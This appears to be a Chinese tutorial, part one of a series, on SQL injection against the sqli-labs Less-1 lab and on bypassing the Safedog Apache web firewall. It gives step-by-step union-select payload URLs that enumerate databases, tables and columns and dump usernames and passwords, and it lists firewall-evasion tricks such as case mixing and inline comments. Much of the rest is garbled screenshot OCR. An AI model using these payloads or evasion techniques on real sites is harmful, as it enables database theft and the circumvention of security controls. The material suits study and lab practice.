SQL注入 安全狗apache3.5.12048版本绕过（上）

网站安全狗CAPACH版)43.5正式版本

加入服云

e网站安全狗

网马查杀

IP黑白名单

资源保护

主动防御

防护日志

流里保护

防护日志功能

已开启

保存

日主悼存干粉.

30

关于网站安全狗

日志类型:所有类型

当前版本:V3.5正式版本

时间

厦门服云信息科技有限公司("安全狗")是国内领先的云

t(schemaname)frominformati...

2021-04-1323:12:54网站漏洞

安全服务与解决方案提供商,兼承"安全狗即服务"(Safedog

e

a5aService)的理念,依托全球领先的安全技术与完善的大

网站漏洞

Iandor方式注入规则二可疑内容...

2021-0

数据处理平台,致力于为各行业客户提供最具核心竞争力的云

安全产品及解决方案,助力客户保障业务平台的安全,稳定

可靠运行

版权所有:厦门服云信息科技有限公司

确定

总记录数:2

下一页

当前页:1

跳至

上一页

总页数:1

确认

检查更新

网马库版本:2016-01-15

主程序版本:3.5,12048

phpStudy2018PHP-5.4.45

运行状态

phpStudy启停

Apache:

停止

启动

重启

MySQL:

提示信息

切换版本

运行模式

Apache已经停止...

22:13:39

系统服务

22:13:39

MVSQL已经停止...

22:13:39

正在启动进程...

非服务模式

22:13:40

Apache已经启动...

应用

22:13:40

MySOL已经启动...

MVSQL管理器

打开工具箱

其他选项菜单

快捷键配置

select schema_name from information_schema.schemata;
select table_name from information_schema.tables where table_schema='security';
select column_name from information_schema.columns where table_name='users';
select username,password from security.users;

查库：select schema_name from information_schema.schemata
查表：select table_name from information_schema.tables where table_schema='security'
查列：select column_name from information_schema.columns where table_name='users'
查字段：select username,password from security.users

(下面的内容不要直接复制)
http://127.0.0.1/sqli/Less-1/?id=1’     查看是否有注入
http://127.0.0.1/sqli/Less-1/?id=1‘ order by 3--+   查看有多少列
http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,3--+ 查看哪些数据可以回显
http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,database()--+  查看当前数据库
http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,schema_name from information_schema.schemata limit 4,1--+  查看数据库security
或者是：
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(schema_name) from information_schema.schemata--+ 查看所有的数据库
http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1--+ 查表，
或者是：
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+ 查看所有的
http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,column_name from information_schema.columns where table_name=0x7573657273--+ 查询列信息
或者是：
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+ 查看所以的列信息
http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,concat_ws(’~‘,username,password) from security.users limit 1,1--+ 查询一个账号和密码
或者是：http://127.0.0.1/sqli/Less-1/?id=-1'  union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+  直接可以得到所有的账号和密码，
并且使用~符号进行分割。

WelcomeDhakkan

YourLoginname:2

YourPassword:Dumb~Dumb.Angelina~l-ill

YUDUMTYPEOGSURYRROUBAMROBMYMAMURALAM?)

SQLIDUMBSEROBS

回控制台D调试器你网络门祥式综辑器性能

日存储前无障碍环境

查右器

照应用程序

民

0内存

AdblockPlus

HackTooks

HackBar

Encryption

EncodingsQLxssOther

Contributenow!HackBar2

LOaDURL

htp/0211559m

SPMfURL

Execute

OPostdataORefererOUserAgentocooklesClearA

python31-errorgetinjctin

该ur[可注入,且一共存在3列

该url的数据库是:informationschem,chalteneqceceuy

该url中security所对应的表为:emails,referers,uagt,

该url中users所对应的字段值为:

Dm:mt.meLmH

minadmin,minmm

网站安全狗(APACHE版)安装程序

APACHE的相关信息确定.注意事项:

1,请保证主配置目录有写权限,则会导致安装失败

2,请使用绝对路径形式.

3.服务名区分大小写?

4.请保证与你选择的安装包的Apache版本一致,否则会出现安装不正常

APACHE安装目录:

c:iphpstudy2018/phptutoriallapache

浏览

ServerRoot路径:

c:iphpstudy2018/phptutorial/apache

浏览

主配置路径:

c:/iphpstudy2018/phptutoriallapache/conf/ht.conf

浏览

主程序路径:

C:iphpstudy2018/phptutoriallapache/bin/httdexe

服务名:

版本的系列:

Apache2.0系列

Apache2.4系列

Apache2.2系列

确定

PHP-5.4.45

phpStudy2018

运行状态

phpStudy启停

Apache:

重启

停止

启动

MySQL:

运行箱式

切场版本

提示信息

22:13:39

Apache已经停止...

系统服务

22:13:39

MySOL已经停止...

22:13:39

正在启动进程...

非服务模式

22:13:40

Apache已经启动...

应用

MySOL已经启动...

22:13:40

MVSQL管理器

其他选项菜单

快捷键配置

打开工具箱

全

服务(本地)

登录为

描述

启动类型

名称

状态

apache

ActiveXInstaller(AxlnstSV

为...

手动

本地...

启动此服务

1

Adan+ivaDriabtnecc

木th

自动

本地.

iapache

描述:

确...

手动

本地...

ApplicationIdentity

Apache/2.4.23

手动

本地...

使...

透ApplicationInformation

Win32

为I...

手动

本地...

ApplicationLayerGatewayService

手动

使...

本地...

BackgroundIntelligentTransferService

BaseFilteringEngine

基...已.

本地...

自动

手动

BitLockerDriveEncryptionService

本地...

BD...

BlockLevelBackupEng

Wi...

本地...

EngineService

Blu...

本地...

BluetoothSupportService

将...

本地...

CertificatePropagation

手动

CNGKeyIsolation

CN...

本地...

支...

本地...

COM

EventSystem

自动

管...已...手动

COM+SystemApplication

本地...

维...已...手动

本地...

ComputerBrowser

为...

本地...

手动

CredentialManager

提...

自动

aCryptographicServices

网络...

自动

DC...

DCOMServerProcessLauncher

本地...

DesktopWindowManagerSessionMa...提...已...

本地...

自动

为...已...

DHCPClient

自动

本地...

DiagnosticPolicyService

本地...

诊...已...自动

本地...

诊...已...手动

DiagnosticServiceHost

本地...

诊...已...手动

DiagnosticSystemHost

网站安全狗(APACHE版)3.5正式版本

加入服云

双M

e

网站安全狗

请佳

资源保护IP黑白名单

网马查杀

主动防御

流量保护

防护日志

主动防御

您还未对服务器进行过网马扫描,建议立即扫描.

网站漏洞防护

已开启

规则设置

上次扫描时间:未扫描.

网马防护

规则设置

全站扫描

流量保护

扫描所有网站,更全面更安全

CC攻击防主

00000

低

已开启

规则设置

资源防护

自定义网站扫描

e

网站资源防盗链

扫描关键性网站,快速安全

已开启

规则设置

网站特定资源保护

已开启

规则设置

自定义路径扫描

网站后台防护

已开启

扫描关键路径,快速安全

规则设置

IP黑白名单

扫描设置

定时扫描

IP白名单

已开启

规则设置

IP黑名单

已开启

上报木马

查看隔离记录

查看历史记录

规则设置

网马库版本:2016-01-15

检查更新

主程序版本:3.5,12048

.

10.211.55.9/Less-1/id-'and1-1--+

ABP

出

Bing

网站防火墙

您的请求带有不合法参数,已被网站管理员设置拦截!

可能原因:您提交的内容包含危险的攻击请求

如何解决:

1)检查提交内容;

2)如网站托管,请联系空间提供商;

3)普通网站访客,请联系网站管理员;

安全狗-网站安全专家

其他人怎么说?

日存储

日控制台D调试器1网络门样式编辑器

一无障碍环境

0内存

查看器

口性能

应用程序

AdblockPlus

HackBar

HackTools

EncodingsQLxssOther

Contribu

Encryptlon

http://10.211.55.9/L/1

LoaDURL

SplitURL

inje

python301

jection.py

get

error

该url可注入,且一共存在3列

Traceback(mostrecentcattlast):

File

"1errorgetinjctioi

main()

File"ol_error_get_injctiny

line115inmain

print(该url的数据库是:',database_re[o])

listindexoutofrange

IndexError:

网站安全狗APACHE版)3.5正式版本

加入服云

MA

网站安全狗

精尔

资源保护

网马查杀

IF黑白名单

防护日志

流里保护

主动防御

防护日志功能

保存

日志保存天数:

30

已开启

所有类型

查询

记录时间:丛

删除日志

到

日志类型:

2021/4/13

2022/4/13

类型

内容保护

时间

QL合查询可第内客unonselctgun

2021-04-1323:12:54网漏洞防护

10211552间10211559

2021-04-1323:11:18网站漏洞防护

下一页

总页数:1当前页:1总记录数:2

确认

跳至

上一页

网马库版本:2016-01-15

检查更新

主程序版本:3.5.12048

使用大小写绕过
使用/**/注释符绕过
使用大的数据包绕过
使用/!**/注释符绕过
……

四

E

五

10.211.55.9/Less-1/id-1

移动设备

火

Bing

Dhakkan

Welcome

headusq

SQLIDUMBSBROBS

D

保

日存储

器你网络

查右器日控制台D调试器

骨样式编辑器

内存

AdblockPlus

性能

应用程序

无吃碍环境

HackTools

HackBar

ContributenowlHacke

EncryptionEncodingsoL-xss,Other

http://10.211.55.9/Less-/i

LoadURL

SpltURL

10.211.55.9/Less-1/2id1--

冰印

GeuBing

Welcome

Dhakkan

YourLoginname:Dumb

YourPassword:Dumb

SQLIDUMBSHRY

1网络

粤样式编辑器

日存储

性能

0内存

调试器

查看器

A

无障碍环境

应用程序

控制台

HackBarABPAdblockPlus

DevToolsPaneladdedby"HackBar"add-on.

XSS

Other

SQL

Encryption

Encoding

http://10.211.55.9/Less-1/?id-

LoadURL

SplitURl